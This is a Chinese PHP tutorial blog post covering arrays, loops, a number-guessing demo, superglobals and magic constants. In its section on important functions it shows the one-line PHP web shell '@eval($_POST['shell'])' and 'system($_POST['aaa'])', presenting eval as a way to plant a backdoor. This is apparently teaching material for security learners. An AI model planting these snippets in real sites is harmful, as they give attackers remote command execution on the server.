数组,条件,循环,重要函数,超级全局变量,魔术方法

发布时间 2023-08-06 16:59:26作者: yezheng

目录

数组,条件,循环,实战
重要函数
超级全局变量
魔术方法


数组,条件,循环,实战

数组

在 PHP 中,array() 函数用于创建数组:

$cars=array("Volvo","BMW","Toyota");

在 PHP 中,有三种类型的数组:
数值数组 - 带有数字 ID 键的数组
关联数组 - 带有指定的键的数组,每个键关联一个值
多维数组 - 包含一个或多个数组的数组


遍历并打印数值数组中的所有值,您可以使用 for 循环,如下所示:

$cars=array("Volvo","BMW","Toyota");
$arrlength=count($cars);
for($x=0;$x<$arrlength;$x++)
{
    echo $cars[$x].'<br>';
}

遍历并打印关联数组中的所有值,您可以使用 foreach 循环,如

$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");
foreach($age as $x=>$x_value)
{
    echo "Key=" . $x . ", Value=" . $x_value;
    echo "<br>";
}


条件

if 语句 - 在条件成立时执行代码

if...else 语句 - 在条件成立时执行一块代码,条件不成立时执行另一块代码

if...elseif....else语句 - 在若干条件之一成立时执行一个代码块 switch 语句 - 在若干条件之一成立时执行一个代码块

用法和c语言一样


循环

while (条件) { 要执行的代码; }

for (初始值; 条件; 增量) { 要执行的代码; }

实战

<?php
$rand=$_GET["rand"];
if ($rand==null){
$rand=rand(10,99);
}
//for循环爆破
// for ($num=0;$num<=$rand;$num++){
// echo "正在爆破".$num;
// $a="爆破成功,结果为".$num;
// }
// $num=0;
// while ($num<=$rand){
// echo "正在爆破".$num;
// $a="爆破成功,结果为".$num;
// $num++;
// }
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="" method="get">
<input type="password" name="rand" value=<?php echo $rand;?>>
<h2>清空上面的内容,即可重新开始游戏</h2>
</br>
<h1>猜猜我的数字是多少,范围10-99</h1>
<input type="submit" value="点击开始自动爆破">
<?php echo $a;?>
</br>
</form>
</body>
</html>


重要函数

1.echo phpinfo()

作用:1.检查是否能运行php 2.很多php相关信息,做debug


2.eval:1.执行字符串代码,把字符串当作代码-->可用来计算 2.后门植入

$a="23+3";
$b="+3";
echo eval("return $a.txt$b;");

一句话木马:
<?php @eval($_POST['shell']);?>

3.system

system('ipconfig');
system($_POST['aaa'])//交互

超级全局变量

PHP 超级全局变量列表:

$GLOBALS $_SERVER $_REQUEST $_POST $_GET $_FILES $_ENV $_COOKIE $_SESSION

全局变量用$GLOBALS ,

$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

<?php
$x = 75;
$y = 25;
function addition()
{
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
addition();
echo $z;
?>


$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信 息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器 可能会忽略一些,或者提供一些没有在这里列举出来的项目。

这些是服务器创建的项目,它在所有的脚本中都有效

echo var_dump($_SERVER);//结构
foreach ($_SERVER as $x=>$y)
    echo $x."<br>";
    echo $y;
echo $_SERVER['PHP_SELF'];
echo "<br>";
echo $_SERVER['SERVER_NAME'];
echo "<br>";
echo $_SERVER['HTTP_HOST'];
echo "<br>";
echo $_SERVER['HTTP_REFERER'];
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT'];
echo "<br>";
echo $_SERVER['SCRIPT_NAME'];
?>

如一些重要的信息:

$_SERVER['HTTP_HOST'] #当前请求的 Host: 头部的内容。
$_SERVER['HTTP_REFERER'] #链接到当前页面的前一页面的 URL 地址。
$_SERVER['HTTP_USER_AGENT'] #当前请求的 User_Agent: 头部的内容。
$_SERVER['HTTPS'] — 如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址。
$_SERVER['REMOTE_HOST'] #正在浏览当前页面用户的主机名。
$_SERVER['REMOTE_PORT'] #用户连接到服务器时所使用的端口$_SERVER[”HTTP_X_FORWARDED_FOR”] #透过代理服务器取得客户端的真实 IP 地址
$_SERVER['HTTP_VIA'] #代理服务器IP
$_SERVER['HTTP_CLIENT_IP'] #客户端IP


魔术方法

下面注释即用法

echo   __LINE__.'<br>';//文件中的当前行号。
echo __FILE__."<br>";//文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
echo __DIR__;//文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录

class test
{
    function _print()
    {
        echo 'class name' . __CLASS__ . "<br>";//类的名称
        echo 'funcation name' . __FUNCTION__;//函数名称
    }
}
$t=new test();
$t->_print();